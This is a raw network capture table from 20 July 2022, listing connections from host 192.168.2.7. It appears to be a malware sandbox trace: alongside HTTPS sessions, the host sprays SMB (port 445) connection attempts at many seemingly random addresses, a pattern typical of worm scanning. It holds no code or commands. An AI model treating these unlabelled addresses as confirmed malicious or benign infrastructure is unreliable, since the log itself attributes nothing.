Jul 20, 2022 15:45:12.103024960 CEST	443	52738	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.223805904 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.223840952 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.223866940 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.223954916 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.223968983 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.223989964 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.224018097 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.224028111 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.224035978 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.224065065 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.224073887 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.224107027 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.224113941 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.224140882 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.224169970 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.225227118 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.226255894 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.226288080 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.226299047 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.226305962 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.241414070 CEST	445	52730	107.186.141.40	192.168.2.7
Jul 20, 2022 15:45:12.241440058 CEST	445	52730	107.186.141.40	192.168.2.7
Jul 20, 2022 15:45:12.250006914 CEST	443	52738	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.253278971 CEST	52738	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.272125959 CEST	52738	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.272150993 CEST	443	52738	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.273926020 CEST	52738	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.273938894 CEST	443	52738	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.328088045 CEST	52740	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.328125000 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.328237057 CEST	52740	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.328577995 CEST	52740	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.328591108 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.356173038 CEST	443	52738	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.356236935 CEST	443	52738	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.356260061 CEST	52738	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.356286049 CEST	52738	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.381870031 CEST	52738	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.381930113 CEST	443	52738	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.381974936 CEST	52738	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.381990910 CEST	52738	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.384105921 CEST	52741	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.384157896 CEST	443	52741	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.384248972 CEST	52741	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.407908916 CEST	52741	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.407934904 CEST	443	52741	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.549793959 CEST	443	52741	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.549916029 CEST	52741	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.550339937 CEST	52741	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.550367117 CEST	443	52741	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.553224087 CEST	52741	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.553260088 CEST	443	52741	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.635833979 CEST	443	52741	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.635919094 CEST	443	52741	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.635946989 CEST	52741	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.635972977 CEST	52741	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.636004925 CEST	52741	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.636027098 CEST	443	52741	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.636039019 CEST	52741	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.636079073 CEST	52741	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.637727022 CEST	52743	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.637757063 CEST	443	52743	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.637842894 CEST	52743	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.638185978 CEST	52743	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.638206005 CEST	443	52743	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.649795055 CEST	52744	445	192.168.2.7	188.18.139.40
Jul 20, 2022 15:45:12.660404921 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.660628080 CEST	52740	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.662311077 CEST	52740	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.662333012 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.662614107 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.663857937 CEST	52740	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.704520941 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.791309118 CEST	443	52743	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.791397095 CEST	52743	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.793472052 CEST	52743	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.793487072 CEST	443	52743	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.795867920 CEST	52743	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.795890093 CEST	443	52743	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.873610973 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.873646021 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.873667955 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.873847961 CEST	52740	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.873869896 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.873886108 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.873898029 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.873933077 CEST	52740	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.874032021 CEST	52740	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.878200054 CEST	52740	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.878227949 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.878273010 CEST	52740	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.878279924 CEST	443	52740	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.878329039 CEST	443	52743	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.878432035 CEST	443	52743	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.878505945 CEST	52743	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.878590107 CEST	52743	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.879162073 CEST	52743	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.879180908 CEST	443	52743	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.885062933 CEST	52746	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.885106087 CEST	443	52746	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.885246038 CEST	52746	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.885869980 CEST	52746	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.885890961 CEST	443	52746	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.949239016 CEST	52751	445	192.168.2.7	162.139.206.10
Jul 20, 2022 15:45:12.949316025 CEST	52752	445	192.168.2.7	149.105.75.136
Jul 20, 2022 15:45:12.949354887 CEST	52753	445	192.168.2.7	83.235.132.91
Jul 20, 2022 15:45:12.949477911 CEST	52756	445	192.168.2.7	196.216.154.10
Jul 20, 2022 15:45:12.949520111 CEST	52757	445	192.168.2.7	47.178.250.78
Jul 20, 2022 15:45:12.949615002 CEST	52758	445	192.168.2.7	33.210.52.32
Jul 20, 2022 15:45:12.970248938 CEST	52759	445	192.168.2.7	193.211.211.12
Jul 20, 2022 15:45:12.970798969 CEST	52762	445	192.168.2.7	43.6.39.26
Jul 20, 2022 15:45:12.970932961 CEST	52763	445	192.168.2.7	173.168.204.203
Jul 20, 2022 15:45:12.971041918 CEST	52766	445	192.168.2.7	207.93.167.251
Jul 20, 2022 15:45:12.971065044 CEST	52767	445	192.168.2.7	144.212.64.217
Jul 20, 2022 15:45:12.971173048 CEST	52769	445	192.168.2.7	10.148.51.77
Jul 20, 2022 15:45:12.971203089 CEST	52770	445	192.168.2.7	9.132.84.41
Jul 20, 2022 15:45:12.971319914 CEST	52771	445	192.168.2.7	147.13.210.20
Jul 20, 2022 15:45:12.971340895 CEST	52772	445	192.168.2.7	143.159.141.144
Jul 20, 2022 15:45:12.971435070 CEST	52773	445	192.168.2.7	103.27.112.226
Jul 20, 2022 15:45:12.971514940 CEST	52775	445	192.168.2.7	147.81.103.173
Jul 20, 2022 15:45:13.009316921 CEST	52782	445	192.168.2.7	83.43.123.114
Jul 20, 2022 15:45:13.010282040 CEST	52783	445	192.168.2.7	52.85.9.2
Jul 20, 2022 15:45:13.010982037 CEST	52784	445	192.168.2.7	175.53.19.157
Jul 20, 2022 15:45:13.011687040 CEST	52785	445	192.168.2.7	218.86.38.57
Jul 20, 2022 15:45:13.012370110 CEST	52786	445	192.168.2.7	88.161.117.236
Jul 20, 2022 15:45:13.018776894 CEST	52787	445	192.168.2.7	29.118.185.164
Jul 20, 2022 15:45:13.025222063 CEST	52788	445	192.168.2.7	51.125.78.195
Jul 20, 2022 15:45:13.025405884 CEST	52790	445	192.168.2.7	80.246.131.194
Jul 20, 2022 15:45:13.025516987 CEST	52791	445	192.168.2.7	49.94.59.87
Jul 20, 2022 15:45:13.025630951 CEST	52792	445	192.168.2.7	62.225.128.38
Jul 20, 2022 15:45:13.025787115 CEST	52794	445	192.168.2.7	131.101.117.116
Jul 20, 2022 15:45:13.025892019 CEST	52795	445	192.168.2.7	196.223.204.132
Jul 20, 2022 15:45:13.026024103 CEST	52797	445	192.168.2.7	95.83.143.227
Jul 20, 2022 15:45:13.026160002 CEST	443	52746	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.026264906 CEST	52746	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.030725002 CEST	52746	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.030751944 CEST	443	52746	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.032546997 CEST	52746	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.032577991 CEST	443	52746	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.112899065 CEST	443	52746	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.112963915 CEST	443	52746	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.113071918 CEST	52746	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.113348007 CEST	52746	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.113367081 CEST	443	52746	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.113395929 CEST	52746	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.113450050 CEST	52746	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.117311954 CEST	52798	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.117341042 CEST	443	52798	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.117459059 CEST	52798	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.120048046 CEST	445	52790	80.246.131.194	192.168.2.7
Jul 20, 2022 15:45:13.120203972 CEST	52798	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.120218039 CEST	443	52798	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.150432110 CEST	52799	445	192.168.2.7	107.186.141.2
Jul 20, 2022 15:45:13.270324945 CEST	443	52798	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.270479918 CEST	52798	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.271166086 CEST	52798	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.271183014 CEST	443	52798	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.273816109 CEST	52798	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.273829937 CEST	443	52798	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.342793941 CEST	443	52798	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.342881918 CEST	443	52798	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.342914104 CEST	52798	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.342931986 CEST	52798	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.343024969 CEST	52798	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.343046904 CEST	443	52798	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.343060970 CEST	52798	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.343101025 CEST	52798	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.345408916 CEST	52801	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.345462084 CEST	443	52801	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.345573902 CEST	52801	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.346067905 CEST	52801	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.346095085 CEST	443	52801	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.487580061 CEST	443	52801	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.487673044 CEST	52801	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.511895895 CEST	52801	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.511910915 CEST	443	52801	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.516427040 CEST	52801	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.516446114 CEST	443	52801	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.539664030 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:13.539714098 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:13.539838076 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:13.540270090 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:13.540287018 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:13.609869003 CEST	443	52801	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.609949112 CEST	443	52801	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.609994888 CEST	52801	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.610017061 CEST	52801	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.610116005 CEST	52801	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.610130072 CEST	443	52801	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.612698078 CEST	52804	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.612745047 CEST	443	52804	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.612870932 CEST	52804	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.613208055 CEST	52804	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.613228083 CEST	443	52804	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.712534904 CEST	52806	445	192.168.2.7	188.18.139.41
Jul 20, 2022 15:45:13.767436981 CEST	443	52804	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.767628908 CEST	52804	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.768296003 CEST	52804	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.768312931 CEST	443	52804	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.772001982 CEST	52804	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.772022963 CEST	443	52804	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.789824963 CEST	52790	445	192.168.2.7	80.246.131.194
Jul 20, 2022 15:45:13.866856098 CEST	443	52804	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.866924047 CEST	443	52804	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.866952896 CEST	52804	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.869349003 CEST	52804	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.869379997 CEST	52804	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.869401932 CEST	443	52804	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.869412899 CEST	52804	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.869499922 CEST	52804	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.869782925 CEST	52807	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.869836092 CEST	443	52807	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.870289087 CEST	52807	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.870322943 CEST	52807	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:13.870330095 CEST	443	52807	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:13.886564016 CEST	445	52790	80.246.131.194	192.168.2.7
Jul 20, 2022 15:45:14.010514021 CEST	443	52807	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.010665894 CEST	52807	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.044254065 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.044631958 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.047558069 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.047584057 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.047854900 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.049736977 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.049988985 CEST	52807	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.050005913 CEST	443	52807	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.072062016 CEST	52813	445	192.168.2.7	223.192.141.224
Jul 20, 2022 15:45:14.072825909 CEST	52814	445	192.168.2.7	19.225.77.158
Jul 20, 2022 15:45:14.074405909 CEST	52815	445	192.168.2.7	161.128.198.126
Jul 20, 2022 15:45:14.078125954 CEST	52818	445	192.168.2.7	38.100.130.176
Jul 20, 2022 15:45:14.079068899 CEST	52819	445	192.168.2.7	40.196.166.132
Jul 20, 2022 15:45:14.080051899 CEST	52820	445	192.168.2.7	182.94.129.107
Jul 20, 2022 15:45:14.090734005 CEST	52824	445	192.168.2.7	14.217.194.46
Jul 20, 2022 15:45:14.091411114 CEST	52825	445	192.168.2.7	62.230.150.8
Jul 20, 2022 15:45:14.092120886 CEST	52826	445	192.168.2.7	8.140.12.173
Jul 20, 2022 15:45:14.092514038 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.098758936 CEST	52828	445	192.168.2.7	39.252.254.67
Jul 20, 2022 15:45:14.099802017 CEST	52829	445	192.168.2.7	16.9.61.205
Jul 20, 2022 15:45:14.100137949 CEST	52830	445	192.168.2.7	74.136.79.90
Jul 20, 2022 15:45:14.100203991 CEST	52831	445	192.168.2.7	100.236.55.241
Jul 20, 2022 15:45:14.100279093 CEST	52832	445	192.168.2.7	179.16.9.95
Jul 20, 2022 15:45:14.100497007 CEST	52836	445	192.168.2.7	52.203.8.174
Jul 20, 2022 15:45:14.100505114 CEST	52837	445	192.168.2.7	102.215.212.149
Jul 20, 2022 15:45:14.100630999 CEST	52839	445	192.168.2.7	87.27.3.209
Jul 20, 2022 15:45:14.114042997 CEST	52807	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.114063025 CEST	443	52807	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.135019064 CEST	52843	445	192.168.2.7	191.145.91.153
Jul 20, 2022 15:45:14.135727882 CEST	52844	445	192.168.2.7	119.83.254.110
Jul 20, 2022 15:45:14.136502028 CEST	52845	445	192.168.2.7	210.210.52.243
Jul 20, 2022 15:45:14.137667894 CEST	52846	445	192.168.2.7	183.5.251.99
Jul 20, 2022 15:45:14.138421059 CEST	445	52839	87.27.3.209	192.168.2.7
Jul 20, 2022 15:45:14.138465881 CEST	52847	445	192.168.2.7	58.86.54.137
Jul 20, 2022 15:45:14.141679049 CEST	52848	445	192.168.2.7	29.183.58.92
Jul 20, 2022 15:45:14.182955980 CEST	443	52807	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.183043957 CEST	443	52807	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.183182001 CEST	52807	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.183268070 CEST	52807	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.203967094 CEST	52849	445	192.168.2.7	167.96.218.89
Jul 20, 2022 15:45:14.218816042 CEST	52851	445	192.168.2.7	53.107.118.35
Jul 20, 2022 15:45:14.220372915 CEST	52852	445	192.168.2.7	168.190.94.184
Jul 20, 2022 15:45:14.231954098 CEST	52853	445	192.168.2.7	7.152.82.61
Jul 20, 2022 15:45:14.277822018 CEST	52855	445	192.168.2.7	159.150.109.201
Jul 20, 2022 15:45:14.280313015 CEST	52856	445	192.168.2.7	67.148.224.10
Jul 20, 2022 15:45:14.280539989 CEST	52858	445	192.168.2.7	102.19.174.8
Jul 20, 2022 15:45:14.280833006 CEST	52859	445	192.168.2.7	107.186.141.3
Jul 20, 2022 15:45:14.381928921 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.381970882 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.383682966 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.383812904 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.383822918 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.383907080 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.383920908 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.383945942 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.383971930 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.384002924 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.384020090 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.384033918 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.384066105 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.384108067 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.384115934 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.384130955 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.384171009 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.404355049 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.404393911 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.404411077 CEST	52803	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.404417992 CEST	443	52803	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.410104036 CEST	52807	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.410140038 CEST	443	52807	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.410154104 CEST	52807	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.410195112 CEST	52807	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.549618006 CEST	52861	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.549659967 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.549751043 CEST	52861	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.551352024 CEST	52861	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:14.551378012 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:14.561208010 CEST	52863	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.561268091 CEST	443	52863	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.561356068 CEST	52863	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.563605070 CEST	52863	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.563637972 CEST	443	52863	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.696162939 CEST	52839	445	192.168.2.7	87.27.3.209
Jul 20, 2022 15:45:14.730304003 CEST	443	52863	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.730456114 CEST	52863	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.735369921 CEST	445	52839	87.27.3.209	192.168.2.7
Jul 20, 2022 15:45:14.755090952 CEST	52863	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.755115986 CEST	443	52863	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.765762091 CEST	52863	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.765789032 CEST	443	52863	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.792124987 CEST	52865	445	192.168.2.7	188.18.139.42
Jul 20, 2022 15:45:14.843899965 CEST	443	52863	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.843987942 CEST	443	52863	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.844016075 CEST	52863	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.844063044 CEST	52863	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.974792004 CEST	52863	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.974843025 CEST	443	52863	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:14.974862099 CEST	52863	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:14.974936962 CEST	52863	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:15.047018051 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:15.047111988 CEST	52861	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:15.058537006 CEST	52861	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:15.058553934 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:15.058876038 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:15.060269117 CEST	52861	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:15.100506067 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:15.197458029 CEST	52872	445	192.168.2.7	130.37.164.77
Jul 20, 2022 15:45:15.198213100 CEST	52873	445	192.168.2.7	166.235.46.44
Jul 20, 2022 15:45:15.199136972 CEST	52874	445	192.168.2.7	190.91.43.21
Jul 20, 2022 15:45:15.201934099 CEST	52877	445	192.168.2.7	220.133.9.116
Jul 20, 2022 15:45:15.202028990 CEST	52879	445	192.168.2.7	131.49.44.12
Jul 20, 2022 15:45:15.202044010 CEST	52878	445	192.168.2.7	75.248.228.207
Jul 20, 2022 15:45:15.277359962 CEST	52884	445	192.168.2.7	151.189.10.66
Jul 20, 2022 15:45:15.277549028 CEST	52887	445	192.168.2.7	185.22.39.140
